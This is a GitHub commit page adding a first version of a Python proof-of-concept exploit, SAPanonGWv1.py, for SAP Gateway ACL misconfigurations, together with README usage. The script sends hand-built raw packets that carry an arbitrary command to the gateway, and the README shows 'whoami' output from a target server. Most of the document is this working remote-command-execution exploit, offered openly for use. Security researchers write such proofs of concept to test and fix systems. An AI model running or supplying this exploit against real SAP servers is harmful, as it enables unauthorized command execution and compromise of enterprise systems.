Skip to content

Commit

Permalink
add first version og exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
chipik committed Apr 11, 2019
1 parent 3ba42cb commit 349d25e
Show file tree
Hide file tree
Showing 2 changed files with 165 additions and 1 deletion.
11 changes: 10 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
## What is it?

PoC that exploits ACL misconfigurations in SAP Gateway (port 33xx) lead to Remote Command Execution (RCE)
PoC that exploits ACL misconfiguration in SAP Gateway (port 33xx) leads to Remote Command Execution (RCE)

`SAPanonGWv1.py` is first version of exploit based raw packets. Doesn't require any additional modules (Run and Pwn!).

`SAPanonGWv2.py` is second version of exploit based on [pysap](https://github.com/SecureAuthCorp/pysap) library.

Expand All @@ -11,6 +13,13 @@ This Poc was developed by Dmitry [@_chipik](https://twitter.com/_chipik) Chastuh

## How to use

```bash
➜python SAPanonGWv1.py -t 172.16.30.28 -p 3300 -c whoami
[*] sending cmd:whoami
n45adm
```


```bash
➜python SAPanonGWv2.py -t <ip> -p 3300 -c whoami
[INFO ] [+] Sending GW_NORMAL_CLIENT
Expand Down
155 changes: 155 additions & 0 deletions SAPanonGWv1.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,155 @@
#!/usr/bin/env python

# Dmitry @_chipik Chastuhin

# tested on SAP 700 sp5 <= BASIS <= SAP 731 SP 04
# exploit for SAP GW. Works when sec_info file doesn't exist and when gw/acl_mode = 0

import argparse
import socket
import re


def parse_args():
parser = argparse.ArgumentParser(description='[*] Hello, welcome to SAP GW exploit...')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', required=True, type=int, default='3300',
help='Target GW port number.Default 3300')
parser.add_argument('-c', '--cmd', help='Command name')
parser.add_argument('-v', '--verb', action='store_true', default=0, help='Enable verbose')
parser.add_argument('-o', '--old', action='store_true', help='Use when version of the GW ~640')
args = parser.parse_args()
return args


# parse input
args = parse_args()

def convert_ip(ip_1, ch):
for i in range((30 - len(ip_1) * 2) / 2):
ip_1 = ip_1 + ch
return ip_1


def iptohex(ip):
octets = ip.split('.')
hex_octets = []
for octet in octets:
if int(octet) < 16:
hex_octets.append('0' + hex(int(octet))[2:])
else:
hex_octets.append(hex(int(octet))[2:])
hex_octets = ''.join(hex_octets)
return hex_octets.decode('hex')


def net_get_ip():
return [(s.connect(('8.8.8.8', 53)),
s.getsockname()[0],
s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]


opt_ip = net_get_ip()

# some optional ip in the first packet
hex_ip = opt_ip
# some optional ip in the second packet
hex_ip2 = opt_ip
targ2 = '10.10.10.10'
targ2_size = chr(len(targ2))
targ1 = convert_ip(args.target, '\x00')

exploit_p = [
"\x00\x00\x00\x40\x02\x03" + iptohex(
hex_ip) + "\x00\x00\x00\x00\x73\x61\x70\x67\x77\x30\x31\x00\x00\x00\x34\x31\x30\x33\x00\x00\x00\x00\x00\x00\x73\x61\x70\x73\x65\x72\x76\x65\x73\x61\x70\x67\x77\x30\x31\x20\x20\x20\x20\x20\x20\x20\x20\x20\x06\x0b\xff\xff\x00\x00\x00\x00\x00\x00",
"\x00\x00\x01\xA4\x06\xCA\x03\x00\x00\x13\xFF\xFF\x00\x00\x01\x00\x00\x00\x00\x00\xC0\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x01\x54\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x5F\x37\x35\x20\x20\x20\x20\x31\x37\x32\x2E\x31\x36\x2E\x30\x73\x61\x70\x78\x70\x67\x20\x20\x45\x02\x00\x00\x00\x00\xFF\xFF\x60\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x00\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFE\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + targ1 + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + iptohex(
hex_ip2) + "\x00\x00\x00\x00\x73\x61\x70\x78\x70\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00\x0A\x24\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x01\x00\x08\x01\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x03\x00\x04\x00\x00\x06\x1B\x01\x03\x01\x06\x00\x0B\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23\x01\x06\x00\x07\x00\x0F" + convert_ip(
targ2,
'\x20') + "\x00\x07\x00\x18\x00" + targ2_size + targ2 + "\x00\x18\x00\x08\x00\x11\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x00\x08\x00\x11\x00\x01\x33\x00\x11\x00\x13\x00\x04\x37\x32\x30\x20\x00\x13\x00\x12\x00\x04\x37\x33\x31\x20\x00\x12\x00\x06\x00\x04\x54\x5F\x37\x35\x00\x06\x01\x30\x00\x08\x53\x41\x50\x4C\x53\x53\x58\x50\x01\x30\x01\x11\x00\x04\x53\x41\x50\x2A\x01\x11\x01\x14\x00\x03\x30\x30\x31\x01\x14\x01\x15\x00\x01\x45\x01\x15\x00\x09\x00\x04\x53\x41\x50\x2A\x00\x09\x01\x34\x00\x03\x30\x30\x31\x01\x34\x05\x01\x00\x01\x01\x05\x01\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x15\x53\x41\x50\x58\x50\x47\x5F\x53\x54\x41\x52\x54\x5F\x58\x50\x47\x5F\x4C\x4F\x4E\x47\x01\x02\x05\x03\x00\x00\x05\x03\x01\x31\x00\xE6\x2A\x54\x48\x2A\x03\x00\xE6\x00\x00\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x53\x41\x50\x2A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x4D\x34\x39\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x01\x4E\x53\x50\x2F\x4E\x57\x37\x30\x33\x74\x72\x69\x61\x6C\x5F\x4E\x53\x50\x5F\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x33\x37\x44\x35\x38\x31\x45\x33\x38\x38\x39\x41\x46\x31\x36\x44\x41\x30\x30\x41\x30\x30\x30\x43\x32\x39\x30\x30\x39\x39\x44\x30\x30\x30\x31\x00\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x01\x00\x00\x00\xE2\x2A\x54\x48\x2A\x01\x31\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x06\x43\x4F\x4E\x56\x49\x44\x02\x05\x02\x05\x00\x08\x53\x54\x52\x54\x53\x54\x41\x54\x02\x05\x02\x05\x00\x05\x58\x50\x47\x49\x44\x02\x05\x02\x01\x00\x07\x45\x58\x54\x50\x52\x4F\x47\x02\x01\x02\x03\x00\x80\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x02\x03\x02\x01\x00\x0B\x4C\x4F\x4E\x47\x5F\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x04\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x02\x03\x02\x01\x00\x06\x50\x41\x52\x41\x4D\x53\x02\x01\x02\x03\x00\xFF\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x45\x52\x52\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x09\x53\x54\x44\x49\x4E\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x52\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x4F\x55\x54\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x08\x54\x45\x52\x4D\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x43\x02\x03\x02\x01\x00\x09\x54\x52\x41\x43\x45\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x36\x02\x03\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x09\xCC\x00\x00\x6D\x60",
"\x00\x00\x02\x31\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x02\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x0E\x53\x41\x50\x58\x50\x47\x5F\x45\x4E\x44\x5F\x58\x50\x47\x01\x02\x05\x03\x00\x00\x05\x03\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x08\x45\x58\x49\x54\x43\x4F\x44\x45\x02\x05\x02\x05\x00\x08\x45\x58\x49\x54\x53\x54\x41\x54\x02\x05\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x01\xD9\x00\x00\x6D\x60"]



def run_cmd(): # execute cmd on the victim server
print "[*] sending cmd:" + args.cmd
if args.old:
return RCE_gw_for_old_sustems() # via gateway for old systems
return RCE_gw() # via gateway


def RCE_gw(): # RCE via GW
c = args.cmd.split()
param = args.cmd[len(c[0]) + 1:]
cmd = c[0]
result = exploit(cmd, param)
if args.verb:
print "[DBG] Run command:" + cmd + " " + param
print "[*] Command result:" + trim_r(result)
return trim_r(result)


def RCE_gw_for_old_sustems(): # RCE via GW for old systems ~640
param = ""
result = exploit(args.cmd, param)
if args.verb:
print "[DBG] Run command:" + args.cmd + " " + param
print "[*] Command result:" + trim_r(result)
return trim_r(result)


def exploit(cmd, param): # create RCE request
tmp = exploit_p[2]
tmp1 = exploit_p[3]
tmp = tmp.replace("a" * 128, space_fill(cmd, 1)) # insert command
tmp = tmp.replace("b" * 255, space_fill(param, 2)) # insert param
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.target, args.port))
send_req(s, exploit_p[0])
conversation = re.search(ur"\d{8}", send_req(s, exploit_p[1]))
send_req(s, tmp.replace("93201875", conversation.group()))
result = send_req(s, tmp1.replace("93201875", conversation.group()))
s.close()
return result


def trim_r(str): # trim a trash form the server response
str_begin = str.find("\x02\x03\x04\x00") + 5
str_end = str.find("\x20\x03\x04\x03\x36")
if str_begin < 20:
if args.verb:
print "[!] Packet compression. Not supported."
return ''
if str_begin == -1:
print "[!] Problem with server response parsing."
print "[!] It's probably a size issue and server compressed it."
return ''
if str_end == -1:
print "[!] End marker not detected. Cutting at the end."
return str[str_begin:].replace('\x20\x03\x04\x03\x04\x00', '\n')
return str[str_begin:str_end].replace('\x20\x03\x04\x03\x04\x00', '\n')


def send_req(s, message): # send requests
MESSAGE = message
s.send(MESSAGE)
data = s.recv(8192)
if args.verb == 1:
print "[DBG] Received data:", data
return data


def space_fill(inpt, what): # fill packets by \x20
cmd_name_buff = 128
param_buff = 255
if what == 1: # cmd name
nop_cnt = cmd_name_buff - len(inpt)
inpt = inpt + nop_cnt * "\x20"
return inpt
elif what == 2: # param
nop_cnt = param_buff - len(inpt)
inpt = inpt + nop_cnt * "\x20"
return inpt


print run_cmd()

0 comments on commit 349d25e

Please sign in to comment.